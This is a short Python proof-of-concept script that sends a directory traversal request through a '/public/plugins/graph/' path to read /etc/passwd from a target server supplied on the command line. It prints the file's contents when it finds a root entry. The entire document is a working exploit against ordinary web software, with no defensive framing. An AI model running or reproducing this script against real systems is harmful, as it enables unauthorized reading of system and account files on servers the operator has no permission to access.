import requests
import sys


def poc(target):
    target = target.strip()
    try:
        test_url = target + "/public/plugins/graph/../../../../../../../../../../../etc/passwd"
        res = requests.get(url=test_url, verify=False, allow_redirects=False)
        print(test_url)
        # print(res.text)
        if "root:x" in res.text:
            print(res.text)
        else:
            return False
    except Exception as e:
        print(e)
    return False


target = sys.argv[1]
poc(target)
